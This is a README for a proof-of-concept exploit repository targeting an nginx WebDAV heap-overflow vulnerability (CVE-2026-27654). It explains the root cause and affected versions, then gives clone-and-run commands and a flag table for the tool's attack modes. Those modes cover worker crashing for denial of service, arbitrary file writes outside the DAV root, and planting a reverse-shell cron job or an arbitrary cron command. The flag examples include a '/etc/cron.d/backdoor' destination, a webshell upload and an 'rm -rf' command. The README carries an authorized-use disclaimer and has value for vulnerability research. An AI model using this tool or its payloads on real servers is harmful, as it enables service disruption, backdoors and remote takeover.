
Proof-of-Concept and technical analysis for CVE-2026-27654, a heap-based buffer overflow vulnerability in the NGINX HTTP WebDAV module, including root cause analysis, reproduction, and mitigation.
This repository provides a proof‑of‑concept exploit for CVE‑2026‑27654, a heap‑overflow vulnerability in the ngx_http_dav_module of nginx. The bug arises from a size‑t underflow when handling MOVE/COPY requests with specially crafted Destination headers and alias‑based locations.
⚠️ Disclaimer: This tool is intended for authorized security research and testing only. Use it only against systems you own or have explicit permission to test. The authors assume no liability for misuse.
CVE-2026-27654 is a remotely triggerable heap-based buffer overflow in the NGINX HTTP WebDAV module, caused by an integer underflow in ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). The vulnerability occurs when the destination URI length is derived by subtracting the configured location prefix from the Destination header path. Because both operands are of type size_t, a shorter destination path causes the subtraction to wrap to a near-maximum unsigned value.
The wrapped length is subsequently used as the size argument to memcpy(), resulting in an out-of-bounds heap write that corrupts memory and immediately crashes the NGINX worker process. A remote, unauthenticated attacker can reliably trigger this condition using a single crafted MOVE or COPY request targeting an alias-mapped WebDAV location. While the NGINX master process automatically respawns failed workers, repeated requests can maintain the service in a continuous worker-crash loop, resulting in a persistent Denial-of-Service (DoS).
AddressSanitizer (ASan) validates the vulnerability with a negative-size-param error in memcpy(), tracing the execution path from ngx_http_dav_copy_move_handler() to ngx_http_core_module.c. The vulnerability affects NGINX 0.5.13–1.28.2 (stable) and 1.29.0–1.29.6 (mainline) when compiled with --with-http_dav_module and configured with the alias directive. The issue was remediated in NGINX 1.28.3 and 1.29.7 (commit ab4b5b8, PR #1210) through proper validation of the computed destination path length before memory operations.
MOVE/COPY request that triggers the size‑t underflow and crashes the vulnerable worker.alias)./etc/cron.d/, with interactive prompts for LHOST/LPORT and a listener‑start reminder.--cron-command flag.--check) – non‑interactive mode that runs the crash test and prints a clear [VULNERABLE] / [NOT VULNERABLE] verdict, exiting with code 0 or 1.--proxy) – route all requests through an HTTP/HTTPS proxy (e.g., Burp Suite, mitmproxy) for debugging or traffic inspection.--payload-file (binary), --payload-text (literal text), or use the default test content.--destination-path, --alias-len, --escape-depth, --method, --location-prefix, and more.requests library is not installed, the script falls back to Python’s standard http.client (proxy support is disabled in fallback mode).git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
python exploit.py --target 192.168.1.100:8080
You will be presented with a numbered menu and prompted to select a mode.
python exploit.py --target 192.168.1.100:8080 --check
This forces the crash mode, runs the exploit, and prints [VULNERABLE] or [NOT VULNERABLE] before exiting with code 0 or 1.
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
All HTTP requests will be sent through the specified proxy (useful for debugging with Burp).
| Flag | Description | Example |
|---|---|---|
--target HOST:PORT | Target nginx instance (default: 127.0.0.1:8080). | --target 10.0.0.5:80 |
--verbose, -v | Show full HTTP responses (headers and body). | -v |
--no-put | Skip the initial PUT (assume trigger file already exists). Useful for repeated testing. | --no-put |
--location-prefix | DAV location prefix (default: /uploads/). Must match the alias location in nginx config. | --location-prefix /dav/ |
--remote-name | Remote source filename placed inside the DAV location (default: triggerfile.txt). | --remote-name test.txt |
--method {MOVE,COPY} | DAV method to use for the destination request (default: MOVE). | --method COPY |
--destination-path | Destination URI path – used for crash arithmetic or final file path for delivery modes. | --destination-path /etc/cron.d/backdoor |
--alias-len | Configured alias string length (used for crash arithmetic display, default 13). | --alias-len 20 |
--escape-depth | Number of ../ path components to escape the DAV root (default 1). | --escape-depth 3 |
--payload-file | Local file to upload as payload. Overrides default test content. | --payload-file ./shell.php |
--payload-text | Literal text payload for write-file mode. | --payload-text "<?php phpinfo(); ?>" |
--lhost | Reverse shell callback host (for cron-shell). If omitted, the script prompts interactively. | --lhost 192.168.1.50 |
--lport | Reverse shell callback port (for cron-shell). | --lport 4444 |
--cron-command | Command to run via cron (for cron-cmd). If omitted, the script prompts interactively. | --cron-command "rm -rf /tmp/*" |
--wait | Seconds to wait after cron delivery for the job to execute (default 65). | --wait 120 |
--check | Run vulnerability check (crash test, non‑interactive). Outputs VULNERABLE/NOT VULNERABLE and exits with code 0/1. | --check |
--proxy PROXY_URL | HTTP/HTTPS proxy URL (e.g., http://127.0.0.1:8080). Requires requests library. | --proxy http://127.0.0.1:8080 |
Note: Most flags are optional. The script will prompt for missing required arguments (e.g.,
--lhost/--lportforcron-shell) if they are not provided.
crashSends the crafted MOVE (or COPY) request that triggers the size‑t underflow. The server will crash the worker process. If the master process is correctly configured, it will respawn a new worker.
Example:
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
write-fileUploads a file to an arbitrary location on the filesystem. This works only if the DAV location is backed by an alias that points to a writable directory and the Destination path is crafted to escape the DAV root. Use only in authorised lab environments.
Example: